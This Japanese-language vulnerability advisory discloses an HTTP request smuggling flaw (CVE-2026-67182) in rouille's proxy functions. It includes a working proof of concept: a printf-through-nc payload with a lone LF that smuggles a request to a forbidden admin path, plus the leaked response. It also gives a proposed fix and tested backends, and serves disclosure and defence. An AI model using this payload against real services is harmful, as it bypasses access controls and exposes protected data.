
割り当て済みCVE ID: CVE-2026-67182
rouille::proxy::proxy と rouille::proxy::full_proxy は、クライアントが指定したリクエストヘッダー値を制御文字のチェックなしでアップストリーム接続にコピーします。基礎となる tiny_http ヘッダーパーサーはCRLFでのみヘッダー行を終了するため、ヘッダー値には単独のラインフィード(0x0A)を正当に含めることができます。したがって、単独のLFを行終端文字として受け入れるバックエンドは、1つのフロントエンドリクエストを2つのリクエストとして読み取ります。
2つ目のリクエストは、メソッドとパスを含めて完全に攻撃者が制御でき、最初のリクエストをプロキシすることを決定したrouilleハンドラーを通過することはありません。そのレスポンスボディも攻撃者に返されます。
リポジトリURL: https://github.com/tomaka/rouille
| 最初に影響を受けるバージョン | 0.3.3 (2016-12-03)、src/proxy.rs を導入したリリース |
| 最後に影響を受けるバージョン | 3.6.2 (2023-04-24)、現在のリリース |
| 影響を受けないバージョン | 0.3.2以前(プロキシモジュールなし) |
| 修正バージョン | 本稿執筆時点では修正版なし |
0.3.3から3.6.2までの公開されたすべてのリリースには、未修正のコードが含まれています。src/proxy.rs ファイルは、3.6.2タグと現在の master ブランチの間でバイト単位で同一です。
proxy::proxy または proxy::full_proxy を呼び出すアプリケーションのみが影響を受けます。
CWE-444 (HTTPリクエストの不整合な解釈)。CWE-113 (HTTPヘッダーにおけるCRLFシーケンスの不適切な無効化) を経由して到達します。
CVSS 4.0 ベーススコア 6.9 (中)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N
攻撃者は、rouilleサーバーに生のHTTPを送信できるリモートの未認証クライアントです。資格情報、ユーザー操作、コンポーネント間のネットワーク上の位置は一切必要ありません。
リスクのあるデプロイ構成は、単独のLFをヘッダー行終端文字として受け入れるHTTPパーサーを持つバックエンドの前段にあり、proxy() を呼び出す前にセキュリティ判断(ルーティング、認証、認可、コンテンツフィルタリング)を行うリバースプロキシとして動作するrouilleアプリケーションです。
測定されたバックエンドの挙動:
nginxとApacheはテストしていません。RFC 9112のセクション2.2は、受信者が単独のLFを行終端文字として認識することを許可しているため、LFを受け入れるバックエンドは仕様の範囲内で動作しています。
rouille/src/proxy.rs、157行目から174行目:
157 for (header, value) in request.headers() {
158 let value = if header == "Host" {
159 if let Some(ref replace) = config.replace_host {
160 &**replace
161 } else {
162 value
163 }
164 } else {
165 value
166 };
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
171行目がシンクです。value は信頼できないものであり、検証なしで書き込まれます。
汚染は tiny_http を通じて入り込みます。tiny_http-0.12.0/src/client.rs の80行目から102行目では、ヘッダー行はCRの後にLFが続いた場合にのみ終了します:
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
単独のLFは100行目まで到達し、ラインバッファにプッシュされます。LFは有効なASCIIなので、AsciiString::from_ascii はそれを受け入れます。tiny_http-0.12.0/src/common.rs の184行目にある Header::from_str は、その後値のトリムのみを行います。これは先頭と末尾の空白を削除しますが、内部のバイトはそのまま残します:
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
その結果、rouilleのヘッダー値には生の \n が含まれ、proxy.rs の171行目がそれをそのままアップストリームリクエストに書き込みます。
173行目の Connection: close は被害を封じ込めることはできません。注入された空白行は173行目が実行される前に最初のリクエストを終了させるため、そのヘッダーはスマグリングされたリクエストに吸収されます。最初のリクエストには Connection ヘッダーがなく、HTTP/1.1キープアライブがデフォルトになります。これはまさに、バックエンドが2つ目のリクエストの処理を続行できるようにするものです。
ステップ1. 公開ファイルと、プロキシが保護することになっているファイルを含むバックエンドのドキュメントルートを作成します。
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE" > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html
ステップ2. ポート8001でキープアライブ対応のバックエンドを起動します。
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, f, *a):
sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'
ステップ3. ポート8000でrouilleフロントエンドを起動します。これは /public/ をプロキシし、それ以外はすべて拒否します。
use rouille::{proxy, Response};
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
if !request.url().starts_with("/public/") {
return Response::text("forbidden").with_status_code(403);
}
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
ステップ4. アクセス制御が機能することを確認します。
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
HTTP/1.1 403 Forbidden
ステップ5. 許可されたパスへの単一リクエストを、ヘッダー値の内側に単独のLFを入れて送信します。以下のコマンドでは、\n は単独のラインフィード、\r\n はCRLFです。この違いが攻撃の全てなので、エディタに正規化させないでください。
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000
結果。バックエンドのログには2つのリクエストが表示され、2つ目はステップ4でフロントエンドが拒否したパスです:
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -
攻撃者も保護されたコンテンツを受け取ります。src/proxy.rs の224行目がアップストリームソケットの残りをレスポンスボディに変換するためです:
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked
d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18
SECRET ADMIN PAGE
未認証のクライアントはバックエンドに任意のリクエストを発行してそのレスポンスを読み取ることができますが、rouilleハンドラーは許可されたリクエストしか見ることはありません。これにより、パスベースのアクセス制御、ハンドラー内で実行される認証、および proxy() の呼び出し前に行われるリクエスト検査はすべて無効化されます。
2つの制限を述べておく価値があります。proxy() はリクエストごとに新しいTCP接続を開き、プールしないため、古典的なスマグリングに伴うユーザー間のリクエストキュー汚染をもたらしません。また、この攻撃には、上記で測定したようにLFを許容するバックエンドが必要です。
制御文字を含むヘッダー名と値を、アップストリームに書き込む前に拒否します。src/proxy.rs の157行目のループ内で:
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
|| value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
return Err(ProxyError::HttpParseError);
}
| バックエンド | テストしたバージョン | 注入されたLFを受け入れるか |
|---|
Go net/http | go1.26.4 | はい、スマグリングされたリクエストを処理します |
Python http.server (protocol_version = "HTTP/1.1") | CPython 3.13 | はい、スマグリングされたリクエストを処理します |
| Node.js | v26.3.0 | いいえ、400を返します (llhttp strict mode) |
| PHPビルトインサーバー | 8.5.8 | いいえ、接続を切断します |